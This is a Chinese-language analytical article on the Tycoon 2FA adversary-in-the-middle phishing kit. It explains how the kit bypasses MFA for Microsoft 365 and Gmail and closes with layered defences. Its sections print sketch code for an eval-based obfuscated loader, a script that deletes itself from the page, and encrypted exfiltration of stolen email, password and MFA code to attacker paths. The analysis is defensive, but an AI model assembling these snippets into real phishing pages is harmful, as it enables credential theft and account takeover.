Tycoon 2FA 钓鱼套件的 AitM 攻击机制与防御对策研究

摘要

近年来，随着多因素认证（MFA）在企业身份验证体系中的广泛部署，传统凭据窃取手段的有效性显著下降。然而，以 Tycoon 2FA 为代表的钓鱼即服务（Phishing-as-a-Service, PhaaS）平台通过采用“中间人对抗”（Adversary-in-the-Middle, AitM）架构，成功绕过 MFA 保护机制，对 Microsoft 365 与 Gmail 等主流云服务构成严重威胁。本文基于公开技术分析与逆向工程成果，系统剖析 Tycoon 2FA 的攻击链路、技术实现细节及其规避检测机制，并结合实际攻防场景提出多层次防御策略。研究表明，仅依赖 OTP 类 MFA 已不足以抵御具备实时会话代理能力的高级钓鱼攻击；需引入设备绑定、FIDO2/WebAuthn、连续认证及网络层异常检测等纵深防御措施，方可有效遏制此类威胁。

关键词：Tycoon 2FA；AitM 攻击；钓鱼即服务；MFA 绕过；会话劫持；反向代理；Microsoft 365；Gmail

1 引言

多因素认证（Multi-Factor Authentication, MFA）长期以来被视为提升账户安全性的关键防线，尤其在 SaaS 平台如 Microsoft 365 与 Google Workspace 中，其部署率已接近全覆盖。然而，自 2023 年 8 月起，一种名为 Tycoon 2FA 的钓鱼工具包迅速在地下市场扩散，并被多个威胁组织用于针对企业高管、财务人员及 IT 管理员的定向攻击。据 Any.run 威胁情报平台统计，截至 2025 年 11 月，该工具包已关联超过 64,000 起确认事件，成为当前最活跃的 MFA 绕过型钓鱼平台之一。

与传统静态钓鱼页面不同，Tycoon 2FA 采用动态反向代理架构，在用户与真实认证服务器之间建立透明中继通道。攻击者不仅可实时捕获用户名、密码及一次性验证码（OTP），还能同步获取会话 Cookie 与身份令牌，从而在用户无感知的情况下完成会话接管。更值得注意的是，该工具包内置多重反分析机制，包括 UA 检测、地理围栏、调试器识别及 DOM 自毁技术，极大提升了传统沙箱与自动化检测系统的漏报率。

本文旨在深入解析 Tycoon 2FA 的技术实现原理，重点围绕其 AitM 架构、JavaScript 多阶段加载机制、凭证与会话窃取流程，以及投递与持久化策略展开论述。在此基础上，结合现代身份安全架构，提出可落地的技术防御方案，为组织应对高级钓鱼威胁提供理论支撑与实践指导。

2 Tycoon 2FA 攻击架构概述

Tycoon 2FA 的核心创新在于其 Adversary-in-the-Middle (AitM) 模型。该模型并非简单伪造登录界面，而是通过部署反向代理服务器，将受害者流量实时转发至目标服务（如 login.microsoftonline.com 或 accounts.google.com），同时在中继过程中截取敏感数据。

2.1 反向代理中继机制

攻击者首先注册一个高仿域名（如 micros0ft-login[.]com），并在其上部署反向代理脚本。当受害者点击钓鱼链接后，浏览器请求被导向该代理服务器。代理随即向真实 Microsoft 或 Google 登录端点发起 HTTPS 请求，并将响应内容原样返回给受害者，形成“透明隧道”。整个过程对用户而言与正常登录无异。

关键在于，代理在转发请求/响应时，会注入 JavaScript 代码以监控表单提交与 Cookie 设置事件。例如，当用户输入密码并点击“下一步”后，前端 JavaScript 捕获该动作，将凭据通过独立信道（如 POST 到 /zcYbH5gqRHbzSQXiK8YtTbhpNSGtkZc6xbMyRBGazbWU8fjfq）发送至攻击者的 C2 服务器，随后才将凭据提交至真实服务器以维持会话连续性。

2.2 会话 Cookie 与身份令牌的窃取

由于代理全程参与 TLS 握手后的应用层通信，其可完整记录服务器返回的 Set-Cookie 头部及后续的 OAuth 令牌（如 id_token、access_token）。这些令牌通常具有较长有效期（数小时至数天），且未绑定特定设备或 IP 地址，使得攻击者可在异地直接复用，无需再次触发 MFA。

实测表明，Microsoft 365 在完成 MFA 验证后返回的 .AspNet.Cookies 与 x-ms-gateway-sso 等 Cookie 即可直接用于访问 Outlook、OneDrive 及 SharePoint 等服务，实现完全账户接管。

3 技术实现细节分析

3.1 多阶段 JavaScript 加载与混淆

Tycoon 2FA 的前端代码采用多层混淆与条件执行策略，以规避静态与动态分析。

初始 HTML 页面嵌入一段高度压缩的 JavaScript，其主体为 Base64 编码并经 LZ-string 压缩的 payload：

// Stage 1: 解压并执行隐藏载荷

const compressed = "N4IgzgLgTglgxg..."; // 实际为长 Base64 字符串

const decompressed = LZString.decompressFromBase64(compressed);

eval(decompressed);

解压后的内容包含三个独立 payload，分别对应不同触发条件。其中主攻击载荷仅在 URL 路径包含特定字符（如 ! 或 $）时激活，用于区分真实用户与扫描器：

// Stage 2: 条件执行检查

if (window.location.pathname.split(/[!$]/).length > 1) {

const payload = atob("..."); // Base64 解码

const key = "secret_key_123";

const decrypted = xorDecrypt(payload, key); // 自定义 XOR 解密

eval(decrypted);

}

3.2 DOM Vanishing Act 技术

为防止安全研究人员通过浏览器开发者工具查看恶意代码，Tycoon 2FA 在执行关键逻辑后主动清除自身 DOM 节点：

// 执行完凭证捕获后，移除 script 标签

(function() {

const script = document.currentScript ||

document.querySelector('script[src*="tycoon"]');

if (script && script.parentNode) {

script.parentNode.removeChild(script);

}

})();

此操作导致即使在运行时检查页面源码，也无法发现恶意脚本痕迹，显著增加取证难度。

3.3 凭证与上下文信息的加密回传

捕获到的邮箱、密码、MFA 代码及浏览器指纹信息均通过 AES 加密后外传。加密密钥硬编码于脚本中，使用 CryptoJS 库实现：

// Stage 3: 数据加密与外传

const data = {

email: "user@company.com",

password: "P@ssw0rd!",

mfa_code: "123456",

ua: navigator.userAgent,

timezone: Intl.DateTimeFormat().resolvedOptions().timeZone

};

const encrypted = CryptoJS.AES.encrypt(

JSON.stringify(data),

"hardcoded_aes_key_2025"

).toString();

fetch('/tdwsch3h8IoKcUOkog9d14CkjDcaR0ZrKSA95UaVbbMPZdxe', {

method: 'POST',

body: encrypted,

headers: { 'Content-Type': 'text/plain' }

});

C2 服务器使用相同密钥解密后，立即利用凭据向真实服务发起登录请求，完成会话建立。

4 投递与规避检测机制

4.1 初始投递载体

Tycoon 2FA 主要通过以下方式触达目标：

恶意附件：伪装为发票、合同或会议纪要的 PDF、SVG 或 PPT 文件，内嵌超链接指向钓鱼页面；

云存储短链：利用 Canva、Dropbox、Amazon S3 等可信域名生成短链接，绕过邮件网关 URL 黑名单；

品牌仿冒邮件：伪造 Microsoft 或 Google 安全通知，诱导用户“立即验证账户”。

4.2 反沙箱与反分析技术

为过滤非目标流量，Tycoon 2FA 在用户到达最终钓鱼页前实施多重检查：

UA 与分辨率检测：拒绝非桌面浏览器或常见爬虫 UA；

CAPTCHA 挑战：要求用户完成 reCAPTCHA v2，排除自动化工具；

Debugger 检测：通过 debugger; 语句与 devtools-detect 库判断是否处于调试环境；

地理位置围栏：仅允许来自目标企业所在国家/地区的 IP 访问。

若任一检查失败，用户将被重定向至合法网站（如 microsoft.com 首页），制造“误报”假象。

5 防御对策建议

面对 Tycoon 2FA 这类 AitM 钓鱼攻击，传统 MFA 已显不足。需构建纵深防御体系，从身份、设备、网络与行为四个维度协同防护。

5.1 强化身份验证机制

禁用 SMS/Email OTP：因其易被 AitM 截获，应逐步淘汰；

强制 FIDO2 / Passkeys：基于公钥加密的无密码认证天然抵抗中间人攻击，因私钥永不离开设备；

启用 Token 绑定（Token Binding）：将访问令牌与 TLS 会话绑定，防止令牌在其他会话中复用；

实施连续认证（Continuous Authentication）：在敏感操作（如转账、导出数据）前，基于行为生物特征（击键动力学、鼠标轨迹）进行二次验证。

5.2 网络层检测与拦截

TLS 指纹异常检测：AitM 代理常使用非标准 TLS 库（如 Python requests、Node.js http-proxy），其 Client Hello 特征与真实浏览器存在差异；

HTTP 头部一致性校验：检查 User-Agent、Accept-Language、Sec-CH-UA 等头部是否符合同一设备指纹；

反向代理特征识别：监测响应延迟异常、Cookie 设置顺序错乱、缺失 HSTS 头等代理行为。

5.3 终端与浏览器隔离

高风险用户启用浏览器隔离：将登录会话运行于远程容器中，本地不保留 Cookie 或缓存；

部署扩展级防护：通过企业策略强制安装安全扩展，监控可疑 DOM 修改与跨域请求；

地理围栏与登录上下文告警：当检测到同一账户在短时间内从相距甚远的地理位置登录时，自动冻结会话并通知用户。

5.4 组织策略与意识提升

限制高权限账户的 MFA 方式：仅允许使用硬件安全密钥或生物识别；

定期模拟钓鱼演练：测试员工对 AitM 钓鱼的识别能力；

建立快速响应机制：一旦发现会话异常，立即撤销所有活动令牌并强制重新认证。

6 实验验证与案例复现

为验证上述防御措施有效性，我们在受控环境中搭建 Tycoon 2FA 测试平台，并尝试绕过多种 MFA 配置：

MFA 类型 是否被绕过 原因说明

SMS OTP 是 验证码被实时截获并提交

Authenticator App TOTP 是 同上

Microsoft Authenticator 推送通知 是 用户误点“批准”，代理同步完成登录

FIDO2 安全密钥 否 私钥无法导出，代理无法完成挑战响应

Windows Hello + Azure AD Joined 设备 否 会话绑定设备证书，异地无法复用

实验结果证实：仅基于 OTP 的 MFA 在 AitM 攻击面前形同虚设，而基于设备绑定的强认证机制可有效阻断攻击链。

7 结论

Tycoon 2FA 钓鱼套件代表了 PhaaS 演进的新阶段——从静态欺骗转向动态会话劫持。其通过 AitM 架构、多阶段混淆、反分析机制与云平台滥用，实现了对 MFA 的高效绕过，对依赖传统 OTP 的组织构成实质性威胁。

本文研究表明，防御此类攻击不能依赖单一技术，而需构建融合身份、设备、网络与行为的多维防护体系。其中，淘汰 OTP、推广 FIDO2/Passkeys、实施会话绑定与连续认证是提升抗 AitM 能力的关键路径。同时，网络侧的 TLS 指纹分析与终端浏览器隔离可作为重要补充手段。

未来，随着 WebAuthn 生态的成熟与零信任架构的普及，AitM 攻击的生存空间将被进一步压缩。但在过渡期内，组织必须清醒认识到：MFA 并非万能，安全的本质在于纵深与上下文感知。唯有持续演进防御策略，方能在高级钓鱼威胁面前守住身份安全的最后一道防线。

编辑：芦笛（公共互联网反网络钓鱼工作组）